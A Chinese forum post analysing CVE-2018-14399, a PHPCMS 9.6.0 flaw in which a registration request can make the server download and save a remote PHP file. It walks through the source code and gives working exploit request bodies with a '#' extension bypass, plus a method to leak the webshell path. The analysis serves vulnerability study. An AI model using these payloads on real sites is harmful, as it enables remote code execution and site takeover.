问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
代码审计入门篇-CVE-2018-14399
漏洞分析
小白的代码审计入门!如果有误 望大佬们帮忙指正:D
CVE-2018-14399 ============== 0x01 漏洞描述 --------- ```php PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。 ``` 0x02 漏洞分析 --------- 因为这个漏洞的触发点在于用户注册的页面,我们先正常走一遍漏洞注册的流程 phpcms/modules/member/index.php 在register()方法打一个断点,一行一行往下看,先熟悉一下整个注册的流程 然后我们可以在130行中找到关键代码段 ```php if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']); } ``` 可以看到这里先包含了两个CACHE\_MODEL下的文件,并且在后面实例化了一个对象,且实例化对象传入的值是$userinfo\['modelid'\] 然后我们往上面找,发现$userinfo\['modelid'\]这个变量是我们可控的变量,进入到这个方法中,详细看看做了什么操作 caches/caches\_model/caches\_data/member\_input.class.php ```php class member_input { var $modelid; var $fields; var $data; function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); //初始化附件类 pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); } ``` 简单看看这个\_\_construct()方法,前面就是对数据库进行操作 $this->db就是指定了数据库,$this->db\_pre就是指定了前缀,$this->modelid是我们可控的一个变量,这里传入的是10,然后这里的$this->fields的值是birthday,而$this->fields所取的值是由我们传入的$modelid变量可控的.下面就是初始化了一个附件类 然后我们重新回到phpcms/modules/member/index.php里面继续往下走 下面调用了$member\_input->get($\_POST\['info'\]);然后赋值给了$user\_model\_info 我们跟进get()方法看他做了什么操作 caches/caches\_model/caches\_data/member\_input.class.php ```php function get($data) { $this->data = $data = trim_script($data); $model_cache = getcache('member_model', 'commons'); $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename']; $info = array(); $debar_filed = array('catid','title','style','thumb','status','islink','description'); if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!"); if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超过 $maxlength 个字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); $info[$field] = $value; } } return $info; } ``` 我们简单阅读一下这些代码 首先调用了trim\_script()方法对我们传入的数据进行检测,我们再看一下这个方法做了什么 phpsso\_server/phpcms/libs/functions/global.func.php ```php function trim_script($str) { $str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str ); $str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str ); $str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str ); $str = preg_replace ( '/]]\>/si', ']] >', $str ); return $str; } ``` 就是过滤一些特殊符号,防止xss等漏洞的产生,回到get()继续往下走,后面的操作就是对我们传入的数据进行检测,有没有不符合要求的数据等等 但是在47行 $func = $this->fields\[$field\]\['formtype\]; 这里传入$func的值正好是上面我们通过`$modelid`获得的值,然后我们再看一下formtype对应的值是什么 在我们传入modelid=10的情况下,$field=birthday,然后birthday\[formtype\]=datetime 我们继续往下看,看这个$func会进行什么操作 在第48行可以看到if(method\_exists($this, $func)) $value = $this->$func($field, $value); 这里调用了$func并传入了$field和$value 而这里的$field $value $func这三个变量我们都可以用 先找一下datetime()方法如何实现 caches/caches\_model/caches\_data/member\_input.class.php ```php function datetime($field, $value) { $setting = string2array($this->fields[$field]['setting']); if($setting['fieldtype']=='int') { $value = strtotime($value); } return $value; } ``` 发现这个方法平平无奇,并没有能够让我们利用的点,所以我们就得从其他的方法下手,但是我们如何控制$func呢 这就要到我们的数据库看看了,我们重新回到member\_input::\_\_construct()方法去看他是对哪个数据库进行查询 发现是对v9\_model\_field这个数据表进行查询,那么我们直接把这个数据表中每一行数据modelid和对应的formtype数据列出来 ```mysql +---------+------------+ | modelid | formtype | +---------+------------+ | 1 | catid | | 1 | typeid | | 1 | title | | 1 | image | | 1 | keyword | | 1 | textarea | | 1 | datetime | | 1 | editor | | 1 | omnipotent | | 1 | pages | | 1 | datetime | | 1 | posid | | 1 | text | | 1 | number | | 1 | box | | 1 | template | | 1 | groupid | | 1 | readpoint | | 1 | omnipotent | | 1 | box | | 1 | copyfrom | | 1 | text | | 2 | catid | | 2 | typeid | | 2 | title | | 2 | keyword | | 2 | textarea | | 2 | datetime | | 2 | editor | | 2 | image | | 2 | omnipotent | | 2 | pages | | 2 | datetime | | 2 | posid | | 2 | groupid | | 2 | text | | 2 | number | | 2 | template | | 2 | box | | 2 | box | | 2 | readpoint | | 2 | text | | 2 | downfiles | | 2 | downfile | | 2 | text | | 2 | box | | 2 | box | | 2 | box | | 2 | text | | 2 | text | | 2 | box | | 3 | box | | 3 | template | | 3 | text | | 3 | number | | 3 | posid | | 3 | groupid | | 3 | datetime | | 3 | pages | | 3 | omnipotent | | 3 | image | | 3 | editor | | 3 | datetime | | 3 | textarea | | 3 | title | | 3 | keyword | | 3 | typeid | | 3 | catid | | 3 | box | | 3 | readpoint | | 3 | text | | 3 | images | | 3 | copyfrom | | 1 | islink | | 2 | islink | | 3 | islink | | 10 | datetime | | 11 | catid | | 11 | typeid | | 11 | title | | 11 | keyword | | 11 | textarea | | 11 | datetime | | 11 | editor | | 11 | image | | 11 | omnipotent | | 11 | pages | | 11 | datetime | | 11 | posid | | 11 | groupid | | 11 | text | | 11 | number | | 11 | template | | 11 | box | | 11 | box | | 11 | readpoint | | 11 | text | | 11 | islink | | 11 | video | | 11 | box | | 11 | box | +---------+------------+ ``` 然后我们对这些能调用的方法进行排查看是否存在安全问题,我们发现editor()方法,存在如下代码 ```php function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; } ``` 其中$value = $this->attachment->download('content', $value,$watermark\_enable);这一行值得我们注意,进一步查看 我们跟进到phpcms/libs/classes/attachment.class.php的download类 ```php function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); } ``` 简单阅读一下,理解这段代码的作用 $string = new\_stripslashes($value); 因为$value是我们可控的变量,所以这里对他进行了过滤防止注入等漏洞的产生 然后下面对我们传入的值做了一个格式的要求 if(!preg\_match\_all("/(href|src)=(\[\\"|'\]?)(\[^ \\"'>\]+\\.($ext))\\\\2/i", $string, $matches)) return $value; 这个正则表达式的要求就是传入一个格式为`<a href="http://www.p1ng.com/1.ext">`的数据 而这里的$ext就是$ext = 'gif|jpg|jpeg|bmp|png'也就是要求我们只能传入这四个后缀的数据 dir\_create($uploaddir);然后创建一个上传文件的目录 在调用了fillurl()方法对我们传入的数据进行进一步过滤 ```php function fillurl($surl, $absurl, $basehref = '') { if($basehref != '') { $preurl = strtolower(substr($surl,0,6)); if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://') return $surl; else return $basehref.'/'.$surl; } $i = 0; $dstr = ''; $pstr = ''; $okurl = ''; $pathStep = 0; $surl = trim($surl); if($surl=='') return ''; $urls = @parse_url(SITE_URL); $HomeUrl = $urls['host']; $BaseUrlPath = $HomeUrl.$urls['path']; $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath); $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath); $pos = strpos($surl,'#'); if($pos>0) $surl = substr($surl,0,$pos); if($surl[0]=='/') { $okurl = 'http://'.$HomeUrl.'/'.$surl; } elseif($surl[0] == '.') { if(strlen($surl)<=2) return ''; elseif($surl[0]=='/') { $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2); } else { $urls = explode('/',$surl); foreach($urls as $u) { if($u=="..") $pathStep++; else if($i<count($urls)-1) $dstr .= $urls[$i].'/'; else $dstr .= $urls[$i]; $i++; } $urls = explode('/', $BaseUrlPath); if(count($urls) <= $pathStep) return ''; else { $pstr = 'http://'; for($i=0;$i<count($urls)-$pathStep;$i++) { $pstr .= $urls[$i].'/'; } $okurl = $pstr.$dstr; } } } else { $preurl = strtolower(substr($surl,0,6)); if(strlen($surl)<7) $okurl = 'http://'.$BaseUrlPath.'/'.$surl; elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') $okurl = $surl; else $okurl = 'http://'.$BaseUrlPath.'/'.$surl; } $preurl = strtolower(substr($okurl,0,6)); if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') { return $okurl; } else { $okurl = preg_replace('/^(http:\/\/)/i','',$okurl); $okurl = preg_replace('/\/{1,}/i','/',$okurl); return 'http://'.$okurl; } } ``` 再通过fileext()方法传入$file变量获取我们的$filename的值 再将获得的filename传入getname()方法中 ```php function getname($fileext){ return date('Ymdhis').rand(100, 999).'.'.$fileext; } ``` 也就是一个生成随机数的方法,得到一个一般非法用户无法得到的文件名,再调用$upload\_func方法进行文件下载 然后$upload\_func在这个类初始化的时候就被设置成了copy所以就是调用copy方法 当程序走到这个copy方法的时候,我们的文件就成功上传了上去,但是这里的后缀名是不被我们所控制的,所以我们要再找找其他方法看看是否能绕过这个限制 这个时候.我们可以看到fillful()方法中存在这样一小段代码 ```php $pos = strpos($surl,'#'); if($pos>0) $surl = substr($surl,0,$pos); ``` 这里对我们传入的url进行了截取操作,如果我们传入的url中存在#字符,就会截掉后面的内容,所以也就是说我们可以通过`<a href=http://ip/exp.php#1.png>` 到这一步我们整个漏洞的流程就清楚了,接下来就是exp的构造了 我们通过传入modelid数据,让程序不调用原本的datetime()方法而去调用editor()方法,成功调用editor()方法之后,我们还需要控制$value变量的值为我们传入目标服务器上面恶意文件的值 我们先按照正常流程来看一遍我们的$value是什么值 按照正常的流程,我们传入的value就是我们传入birthday的值,但是我们并不能直接用birthday来进行操作,因为前面有很多代码对这个值进行了过滤 而调用member\_input::get()方法的时候,传入的是我们的$\_POST\['info'\]的值,所以我们直接加一个info\[exp\]就行 所以我们最终的exp就是 ```exp siteid=1&modelid=11&username=p1&password=p1p1p1&pwdconfirm=p1p1p1&email=p1%40p1.com&nickname=pp&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[exp]=<a%20href=http://127.0.0.1/1.php#1.png> ``` 虽然能够将我们的恶意文件上传到服务器,那么我们如何获取这个文件的路径呢? 后面会有一个数据库插入数据的操作, ```php final public function insert($data, $return_insert_id = false, $replace = false) { return $this->db->insert($data, $this->table_name, $return_insert_id, $replace); } ``` 因为这个数据表里面并没有我们传入的info或者exp等字段,就会报错,然后就会将我们的webshell路径爆破出来,成功实现文件上传到rce 0x03漏洞复现 -------- 抓取一个浏览器前台注册用户的数据包,对这个数据包中的参数进行修改 放上我们准备好的POC ```POC siteid=1&modelid=11&username=p1ng&password=123456&email=pp2@test.com&info[content]=<img src=http://127.0.0.1:8000/p.txt?.php#.jpg>&dosubmit=1&protocol= ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-16c927938e960564f3e00b45059c7339ac621842.png) 可以看到这里成功讲p.txt中的文件内容上传上去了 再访问成功执行`phpinfo()` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-587aa6a47b41a0127886ea1764d956e93dba97b9.png)
发表于 2024-04-12 10:00:01
阅读 ( 11549 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
p1ng
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!